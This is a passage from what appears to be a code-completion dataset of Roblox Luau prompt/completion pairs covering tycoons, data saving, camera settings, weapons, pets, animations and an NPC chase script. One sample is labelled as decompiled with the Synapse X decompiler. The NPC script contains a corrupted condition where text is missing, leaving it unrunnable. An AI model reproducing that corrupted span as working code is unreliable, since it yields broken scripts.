in pairs(script.Parent.Tycoons:GetChildren()) do\n\t\tif v:IsA(\"Model\") then\n\t\t\tif v.Owner.Value == player then\n\t\t\t\treturn v\n\t\t\tend\n\t\tend\n\tend\n\treturn nil\nend\n\ngame.Players.PlayerRemoving:connect(function(player)\n\tlocal plrStats = game.ServerStorage.PlayerMoney:FindFirstChild(player.Name)\n\tif plrStats ~= nil then\n\t\tplrStats:Destroy()\n\tend\n\tlocal tycoon = getPlrTycoon(player)\n\tif tycoon then\n\t\tlocal backup = Tycoons[tycoon.Name]:Clone()\n\t\ttycoon:Destroy()\n\t\twait()\n\t\tbackup.Parent=script.Parent.Tycoons\n\tend\nend)\n"} +{"prompt": "--- Defense", "completion": "\n Defense.Value = Defense1:GetAsync(Plr.UserId) or Defense.Value\n\t Defense1:SetAsync(Plr.UserId, Defense.Value)\n Defense.Changed:connect(function()\n\t Defense1:SetAsync(Plr.UserId, Defense.Value)\n end)"} +{"prompt": "-- These controllers handle only walk/run movement, jumping is handled by the\n-- TouchJump controller if any of these are active", "completion": "\nlocal ClickToMove = require(script:WaitForChild(\"ClickToMoveController\"))\nlocal TouchJump = require(script:WaitForChild(\"TouchJump\"))\n\nlocal VehicleController = require(script:WaitForChild(\"VehicleController\"))\n\nlocal CONTROL_ACTION_PRIORITY = Enum.ContextActionPriority.Default.Value\n"} +{"prompt": "--// Weapon Parts", "completion": "\nlocal L_56_ = L_1_:WaitForChild('AimPart')\nlocal L_57_\nlocal L_58_ = L_1_:WaitForChild('Grip')\nlocal L_59_ = L_1_:WaitForChild('FirePart')\nlocal L_60_\nlocal L_61_ = L_1_:WaitForChild('Mag')\nlocal L_62_ = L_1_:WaitForChild('Bolt')\n"} +{"prompt": "--TheNexusAvenger\n--Manages getting custom and centralized modules.", "completion": "\n\nlocal Resources = {}\n\n\n"} +{"prompt": "-- Variables", "completion": "\nlocal player = Players.LocalPlayer\nlocal character = script.Parent\nlocal npcModel = workspace.GuideNPC\nlocal animationController = npcModel.AnimationController\nlocal animation = Instance.new(\"Animation\")\nlocal lastWavedAt = 0\nlocal characterIsNear = false\nlocal waveAnimationTrack\n"} +{"prompt": "--\tlocal minPosition = offsetPosition - object.Base.Size/2\n--\tlocal maxPosition = offsetPosition + object.Base.Size/2\t", "completion": "\n\tlocal minPosition = offsetPosition - worldBaseSize/2\n\tlocal maxPosition = offsetPosition + worldBaseSize/2\t\n\t\n\tlocal stepsX = self.BuildZone.Plot.Size.X / tileSize.X\n\tlocal stepsZ = self.BuildZone.Plot.Size.Z / tileSize.Z\n\t\n\tlocal minX = math.floor(stepsX * minPosition.X / plot.Size.X + 0.5)\n\tlocal minZ = math.floor(stepsZ * minPosition.Z / plot.Size.Z + 0.5)\n\t\n\tlocal maxX = math.floor(stepsX * maxPosition.X / plot.Size.X + 0.5)\n\tlocal maxZ = math.floor(stepsZ * maxPosition.Z / plot.Size.Z + 0.5)\n\t\n\tlocal x, z\n\tfor x = minX, maxX-1 do\n\t\tfor z = minZ, maxZ-1 do\n\t\t\tself.PlotGrid[x+1][z+1] = true\n\t\t\t"} +{"prompt": "-- Vars --", "completion": "\n\nlocal Speed = 10 -- That's How Fast Your Image Spin\nlocal Image = script.Parent -- Gets The Image\n"} +{"prompt": "-- Modules", "completion": "\nlocal ActionManager = {}\nlocal Actions = {}\n"} +{"prompt": "--[[ INSTRUCTIONS\n- Place in the model\n- Make sure model is anchored\n- That's it. It will weld the model and all children. \n\nTHIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. \n\nThis script is designed to be used is a regular script. In a local script it will weld, but it will not attempt to handle ancestory changes. \n]]", "completion": "\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nlocal v2 = v1.PlayerModule.Get(\"playergui\");\nif v1.Settings.ForcedPortrait then\n\tv2.ScreenOrientation = Enum.ScreenOrientation.Portrait;\nelseif v1.Settings.SupportsPortrait then\n\tv2.ScreenOrientation = Enum.ScreenOrientation.Sensor;\nend;\nlocal u1 = Enum.ScreenOrientation.Portrait;\nlocal u2 = nil;\nfunction Check()\n\tlocal l__CurrentScreenOrientation__3 = v2.CurrentScreenOrientation;\n\tv1.Variables.Orientation = l__CurrentScreenOrientation__3;\n\tv1.Variables.Portrait = l__CurrentScreenOrientation__3 == u1;\n\tv1.Variables.Landscape = l__CurrentScreenOrientation__3 ~= u1;\n\tif u2 then\n\t\tif u2 ~= l__CurrentScreenOrientation__3 then\n\t\t\tv1.Signal.Fire(\"Orientation Changed\", l__CurrentScreenOrientation__3, u2);\n\t\tend;\n\telse\n\t\tv1.Signal.Fire(\"Orientation Changed\", l__CurrentScreenOrientation__3, u2);\n\tend;\n\tu2 = l__CurrentScreenOrientation__3;\nend;\ntask.defer(function()\n\twhile true do\n\t\tCheck();\n\t\tv1.Heartbeat(2);\t\n\tend;\nend);\n\n"} +{"prompt": "-- Note: DotProduct check in CoordinateFrame::lookAt() prevents using values within about\n-- 8.11 degrees of the +/- Y axis, that's why these limits are currently 80 degrees", "completion": "\nlocal MIN_Y = math.rad(-80)\nlocal MAX_Y = math.rad(80)\n\nlocal TOUCH_ADJUST_AREA_UP = math.rad(30)\nlocal TOUCH_ADJUST_AREA_DOWN = math.rad(-15)\n\nlocal TOUCH_SENSITIVTY_ADJUST_MAX_Y = 2.1\nlocal TOUCH_SENSITIVTY_ADJUST_MIN_Y = 0.5\n\nlocal VR_ANGLE = math.rad(15)\nlocal VR_LOW_INTENSITY_ROTATION = Vector2.new(math.rad(15), 0)\nlocal VR_HIGH_INTENSITY_ROTATION = Vector2.new(math.rad(45), 0)\nlocal VR_LOW_INTENSITY_REPEAT = 0.1\nlocal VR_HIGH_INTENSITY_REPEAT = 0.4\n\nlocal ZERO_VECTOR2 = Vector2.new(0,0)\nlocal ZERO_VECTOR3 = Vector3.new(0,0,0)\n\nlocal touchSensitivityFlagExists, touchSensitivityFlagEnabled = pcall(function()\n\treturn UserSettings():IsUserFeatureEnabled(\"UserTouchSensitivityAdjust\")\nend)\nlocal FFlagUserTouchSensitivityAdjust = touchSensitivityFlagExists and touchSensitivityFlagEnabled\n\nlocal TOUCH_SENSITIVTY = Vector2.new(0.0045 * math.pi, 0.003375 * math.pi)\nif FFlagUserTouchSensitivityAdjust then\n\tTOUCH_SENSITIVTY = Vector2.new(0.00945 * math.pi, 0.003375 * math.pi)\nend\nlocal MOUSE_SENSITIVITY = Vector2.new( 0.002 * math.pi, 0.0015 * math.pi )\n\nlocal SEAT_OFFSET = Vector3.new(0,5,0)\nlocal VR_SEAT_OFFSET = Vector3.new(0,4,0)\nlocal HEAD_OFFSET = Vector3.new(0,1.5,0)\nlocal R15_HEAD_OFFSET = Vector3.new(0, 1.5, 0)\nlocal R15_HEAD_OFFSET_NO_SCALING = Vector3.new(0, 2, 0)\nlocal HUMANOID_ROOT_PART_SIZE = Vector3.new(2, 2, 1)\n\nlocal GAMEPAD_ZOOM_STEP_1 = 0\nlocal GAMEPAD_ZOOM_STEP_2 = 10\nlocal GAMEPAD_ZOOM_STEP_3 = 20\n\nlocal PAN_SENSITIVITY = 20\nlocal ZOOM_SENSITIVITY_CURVATURE = 0.5\n\nlocal abs = math.abs\nlocal sign = math.sign\n\nlocal thirdGamepadZoomStepFlagExists, thirdGamepadZoomStepFlagEnabled = pcall(function()\n\treturn UserSettings():IsUserFeatureEnabled(\"UserThirdGamepadZoomStep\")\nend)\nlocal FFlagUserThirdGamepadZoomStep = thirdGamepadZoomStepFlagExists and thirdGamepadZoomStepFlagEnabled\n\nlocal FFlagUserPointerActionsInPlayerScripts do\n\tlocal success, result = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserPointerActionsInPlayerScripts\")\n\tend)\n\tFFlagUserPointerActionsInPlayerScripts = success and result\nend\n\nlocal FFlagUserNoMoreKeyboardPan do\n\tlocal success, result = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserNoMoreKeyboardPan\")\n\tend)\n\tFFlagUserNoMoreKeyboardPan = success and result\nend\n\nlocal fixZoomIssuesFlagExists, fixZoomIssuesFlagEnabled = pcall(function()\n\treturn UserSettings():IsUserFeatureEnabled(\"UserFixZoomClampingIssues\")\nend)\nlocal FFlagUserFixZoomClampingIssues = fixZoomIssuesFlagExists and fixZoomIssuesFlagEnabled\n\nlocal Util = require(script.Parent:WaitForChild(\"CameraUtils\"))\nlocal ZoomController = require(script.Parent:WaitForChild(\"ZoomController\"))\n"} +{"prompt": "-- New ProfileStore:", "completion": "\n\nfunction ProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore]\n\t\n\tlocal profile_store_name\n\tlocal profile_store_scope = nil\n\t\n\t-- Parsing profile_store_index:\n\tif type(profile_store_index) == \"string\" then\n\t\t-- profile_store_index as string:\n\t\tprofile_store_name = profile_store_index\n\telseif type(profile_store_index) == \"table\" then\n\t\t-- profile_store_index as table:\n\t\tprofile_store_name = profile_store_index.Name\n\t\tprofile_store_scope = profile_store_index.Scope\n\telse\n\t\terror(\"[ProfileService]: Invalid or missing profile_store_index\")\n\tend\n\t\n\t-- Type checking:\n\tif profile_store_name == nil or type(profile_store_name) ~= \"string\" then\n\t\terror(\"[ProfileService]: Missing or invalid \\\"Name\\\" parameter\")\n\telseif string.len(profile_store_name) == 0 then\n\t\terror(\"[ProfileService]: ProfileStore name cannot be an empty string\")\n\tend\n\t\n\tif profile_store_scope ~= nil and (type(profile_store_scope) ~= \"string\" or string.len(profile_store_scope) == 0) then\n\t\terror(\"[ProfileService]: Invalid \\\"Scope\\\" parameter\")\n\tend\n\n\tif type(profile_template) ~= \"table\" then\n\t\terror(\"[ProfileService]: Invalid profile_template\")\n\tend\n\n\tlocal profile_store\n\tprofile_store = {\n\t\tMock = {\n\t\t\tLoadProfileAsync = function(_, profile_key, not_released_handler)\n\t\t\t\treturn profile_store:LoadProfileAsync(profile_key, not_released_handler, UseMockTag)\n\t\t\tend,\n\t\t\tGlobalUpdateProfileAsync = function(_, profile_key, update_handler)\n\t\t\t\treturn profile_store:GlobalUpdateProfileAsync(profile_key, update_handler, UseMockTag)\n\t\t\tend,\n\t\t\tViewProfileAsync = function(_, profile_key)\n\t\t\t\treturn profile_store:ViewProfileAsync(profile_key, UseMockTag)\n\t\t\tend,\n\t\t\tWipeProfileAsync = function(_, profile_key)\n\t\t\t\treturn profile_store:WipeProfileAsync(profile_key, UseMockTag)\n\t\t\tend\n\t\t},\n\n\t\t_profile_store_name = profile_store_name,\n\t\t_profile_store_scope = profile_store_scope,\n\t\t_profile_store_lookup = profile_store_name .. \"\\0\" .. (profile_store_scope or \"\"),\n\t\t\n\t\t_profile_template = profile_template,\n\t\t_global_data_store = nil,\n\t\t_loaded_profiles = {},\n\t\t_profile_load_jobs = {},\n\t\t_mock_loaded_profiles = {},\n\t\t_mock_profile_load_jobs = {},\n\t\t_is_pending = false,\n\t}\n\tsetmetatable(profile_store, ProfileStore)\n\t\n\tif IsLiveCheckActive == true then\n\t\tprofile_store._is_pending = true\n\t\tcoroutine.wrap(function()\n\t\t\tWaitForLiveAccessCheck()\n\t\t\tif UseMockDataStore == false then\n\t\t\t\tprofile_store._global_data_store = DataStoreService:GetDataStore(profile_store_name, profile_store_scope)\n\t\t\tend\n\t\t\tprofile_store._is_pending = false\n\t\tend)()\n\telse\n\t\tif UseMockDataStore == false then\n\t\t\tprofile_store._global_data_store = DataStoreService:GetDataStore(profile_store_name, profile_store_scope)\n\t\tend\n\tend\n\t\n\treturn profile_store\nend\n"} +{"prompt": "-- functions", "completion": "\n\nREMOTES.GetDebugInfo.OnServerInvoke = function()\n\tif not serverRegion then\n\t\tlocal json\t= HttpService:GetAsync(\"http://ip-api.com/json\")\n\t\tlocal data\t= HttpService:JSONDecode(json)\n\t\t\n\t\tserverRegion\t= data.regionName\n\tend\n\t\n\tlocal info\t= {\n\t\tServerRegion\t= serverRegion;\n\t}\n\t\n\treturn info\nend\n"} +{"prompt": "--Rescripted by Luckymaxer", "completion": "\n\nTool = script.Parent\nHandle = Tool:WaitForChild(\"Handle\")\n\nPlayers = game:GetService(\"Players\")\n\nAnimations = {}\nSounds = {}\n\nServerControl = Tool:WaitForChild(\"ServerControl\")\nClientControl = Tool:WaitForChild(\"ClientControl\")\n\nClientControl.OnClientInvoke = (function(Mode, Value)\n\tif Mode == \"PlayAnimation\" then\n\t\tfor i, v in pairs(Animations) do\n\t\t\tif v.Animation == Value then\n\t\t\t\tv.AnimationTrack:Stop()\n\t\t\t\ttable.remove(Animations, i)\n\t\t\tend\n\t\tend\n\t\tlocal AnimationTrack = Humanoid:LoadAnimation(Value.Animation)\n\t\ttable.insert(Animations, {Animation = Value.Animation, AnimationTrack = AnimationTrack})\n\t\tAnimationTrack:Play(nil, nil, Value.Speed)\n\telseif Mode == \"PlaySound\" then\n\t\tfor i, v in pairs(Sounds) do\n\t\t\tif v == Value then\n\t\t\t\ttable.remove(Sounds, i)\n\t\t\tend\n\t\tend\n\t\ttable.insert(Sounds, Value)\n\t\tValue:Play()\n\tend\nend)\n\nfunction InvokeServer(Mode, Value)\n\tpcall(function()\n\t\tServerControl:InvokeServer(Mode, Value)\n\tend)\nend\n\nfunction Equipped(Mouse)\n\tCharacter = Tool.Parent\n\tPlayer = Players:GetPlayerFromCharacter(Character)\n\tHumanoid = Character:FindFirstChild(\"Humanoid\")\n\tif not Player or not Humanoid or Humanoid.Health == 0 then\n\t\treturn\n\tend\n\tMouse.Button1Down:connect(function()\n\t\tInvokeServer(\"MouseClick\", true)\n\tend)\nend\n\nfunction Unequipped()\n\tfor i, v in pairs(Animations) do\n\t\tif v and v.AnimationTrack then\n\t\t\tv.AnimationTrack:Stop()\n\t\tend\n\tend\n\tfor i, v in pairs(Sounds) do\n\t\tif v then\n\t\t\tv:Stop()\n\t\tend\n\tend\n\tAnimations = {}\n\tSounds = {}\nend\n\nTool.Equipped:connect(Equipped)\nTool.Unequipped:connect(Unequipped)\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ CFRAME ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,EnableHolster = false\n\t,HolsterTo = 'Torso'\t\t\t\t -- Put the name of the body part you wanna holster to\n\t,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))\n\t\n\t,RightArmPos = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Server\n\t,LeftArmPos = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-25))\t--server\n\t\n\t,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\n\t,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))\n\n\t,RightPos = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))\t--Client\n\t,LeftPos = CFrame.new(0.85, 0.5,-2.2) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(-25))\t--Client\n}\n\nreturn Config\n\n"} +{"prompt": "--// Functions", "completion": "\nfunction Weld(L_53_arg1, L_54_arg2, L_55_arg3)\n\tlocal L_56_ = Instance.new(\"Motor6D\", L_53_arg1)\n\tL_56_.Part0 = L_53_arg1\n\tL_56_.Part1 = L_54_arg2\n\tL_56_.Name = L_53_arg1.Name\n\tL_56_.C0 = L_55_arg3 or L_53_arg1.CFrame:inverse() * L_54_arg2.CFrame\n\treturn L_56_\nend\n"} +{"prompt": "--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Thumbnail\")then]]--\n--[[JeffTheKiller:FindFirstChild(\"Thumbnail\"):Destroy();]]--\n--[[end;]]", "completion": "--\nlocal JeffTheKillerHumanoid;\nfor _,Child in pairs(JeffTheKiller:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nJeffTheKillerHumanoid=Child;\nend;\nend;\nlocal AttackDebounce=false;\nlocal JeffTheKillerKnife=JeffTheKiller:FindFirstChild(\"Knife\");\nlocal JeffTheKillerHead=JeffTheKiller:FindFirstChild(\"Head\");\nlocal JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild(\"HumanoidRootPart\");\nlocal WalkDebounce=false;\nlocal Notice=false;\nlocal JeffLaughDebounce=false;\nlocal MusicDebounce=false;\nlocal NoticeDebounce=false;\nlocal ChosenMusic;\nfunction FindNearestBae()\nlocal NoticeDistance=100;\nlocal TargetMain;\nfor _,TargetModel in pairs(Game:GetService(\"Workspace\"):GetChildren())do\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className==\"Model\"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild(\"HumanoidRootPart\")and TargetModel:FindFirstChild(\"Head\")then\nlocal TargetPart=TargetModel:FindFirstChild(\"HumanoidRootPart\");\nlocal FoundHumanoid;\nfor _,Child in pairs(TargetModel:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nif TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nSpawn(function()\nWalkDebounce=true;\nlocal FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));\nlocal RayTarget,endPoint=Game:GetService(\"Workspace\"):FindPartOnRay(FiredRay,JeffTheKiller);\nif RayTarget then\nlocal JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild(\"Jeff_Step\"):Clone();\nJeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;\nJeffTheKillerHeadFootStepClone:Play();\nJeffTheKillerHeadFootStepClone:Destroy();\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then\nWait(0.5);\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then\nWait(0.2);\nend\nend;\nWalkDebounce=false;\nend);\nend;\nlocal MainTarget=FindNearestBae();\nlocal FoundHumanoid;\nif MainTarget then\nfor _,Child in pairs(MainTarget.Parent:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then\nJeffTheKillerHumanoid.Jump=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and not JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=1;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nif not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nend;\nend;\nif not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then\nlocal MusicChoice=math.random(1,2);\nif MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\");\nelseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\");\nend;\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then\nChosenMusic.Volume=0.5;\nChosenMusic:Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then\nif not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nend;\nend;\nif not MainTarget and not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nif not MainTarget and not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nif MainTarget then\nNotice=true;\nif Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\")then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\"):Play();\nNoticeDebounce=true;\nend\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then\nJeffTheKillerHumanoid.WalkSpeed=28;\nelseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then\nJeffTheKillerHumanoid.WalkSpeed=0.004;\nend;\nJeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nelse\nNotice=false;\nNoticeDebounce=false;\nlocal RandomWalk=math.random(1,150);\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nJeffTheKillerHumanoid.WalkSpeed=12;\nif RandomWalk==1 then\nJeffTheKillerHumanoid:MoveTo(Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then\nJeffTheKillerHumanoid.DisplayDistanceType=\"None\";\nJeffTheKillerHumanoid.HealthDisplayDistance=0;\nJeffTheKillerHumanoid.Name=\"ColdBloodedKiller\";\nJeffTheKillerHumanoid.NameDisplayDistance=0;\nJeffTheKillerHumanoid.NameOcclusion=\"EnemyOcclusion\";\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nJeffTheKillerHumanoid.AutoRotate=true;\nJeffTheKillerHumanoid.MaxHealth=1300;\nJeffTheKillerHumanoid.JumpPower=60;\nJeffTheKillerHumanoid.MaxSlopeAngle=89.9;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then\nJeffTheKillerHumanoid.AutoRotate=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then\nJeffTheKillerHumanoid.PlatformStand=false;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then\nJeffTheKillerHumanoid.Sit=false;\nend;\nend;"} +{"prompt": "-- Setup", "completion": "\n\nfor _,Folder in pairs(RS.Pets.Models:GetChildren()) do\n\tfor _,Model in pairs(Folder:GetChildren()) do\n\t\tif Model.Name ~= \"Settings\" then\n\t\t\tlocal PetID = script.PetSetup.PetID:Clone()\n\t\t\tlocal Pos = script.PetSetup.Pos:Clone()\n\t\t\tlocal BG = script.PetSetup.BodyGyro:Clone()\n\t\t\tlocal BP = script.PetSetup.BodyPosition:Clone()\n\t\t\tlocal FollowScript = script.PetSetup.Follow:Clone()\n\t\t\tlocal LevelingScript = script.PetSetup.Leveling:Clone()\n\t\t\tPetID.Parent = Model\n\t\t\tPos.Parent = Model\n\t\t\tBG.Parent = Model.PrimaryPart\n\t\t\tBP.Parent = Model.PrimaryPart\n\t\t\tFollowScript.Parent = Model\n\t\t\tLevelingScript.Parent = Model\n\t\tend\n\tend\nend\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\t\n\tif currentlyPlayingEmote then\n\t\toldAnim = \"idle\"\n\t\tcurrentlyPlayingEmote = false\n\tend\n\n\tcurrentAnim = \"\"\n\tcurrentAnimInstance = nil\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\n\t-- clean up walk if there is one"} +{"prompt": "--Below u see the keys table.. to modyfy the key u press change the letter between the \"\"", "completion": "\nlocal keys = {\n\t\t\t\t\tspdup={code = \"m\"}; \n\t\t\t\t\tspddwn={code = \"n\"};\n\t\t\t\t\tstart={code = \"y\"};\n\t\t\t\t\tstop={code = \"x\"};\n\t\t\t\t\tlight={code=\"a\"};\n\t\t\t\t\tdwn={code=\"j\"};\n\t\t\t\t\tup={code=\"u\"};\n\t\t\t\t\tcamset={code=\"c\"};\n\t\t\t\t\tminigun= \"t\";\n\t\t\t\t\tmissile= \"f\";\n\t\t\t\t }"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\n\nwhile true do\n\twait()\n\tif Elevator:WaitForChild(\"Direction\").Value ~= 0 then \n\t\tif Elevator:WaitForChild(\"Velocity\").Value == 0 then\n\t\t if Elevator:WaitForChild(\"Direction\").Value == 1 then\n\t\t This.Display.ARW1.Up1.Transparency = 0\n\t\t This.Display.ARW1.Down1.Transparency = 1\n\t\t else\n\t\t This.Display.ARW1.Up1.Transparency = 1\n\t\t 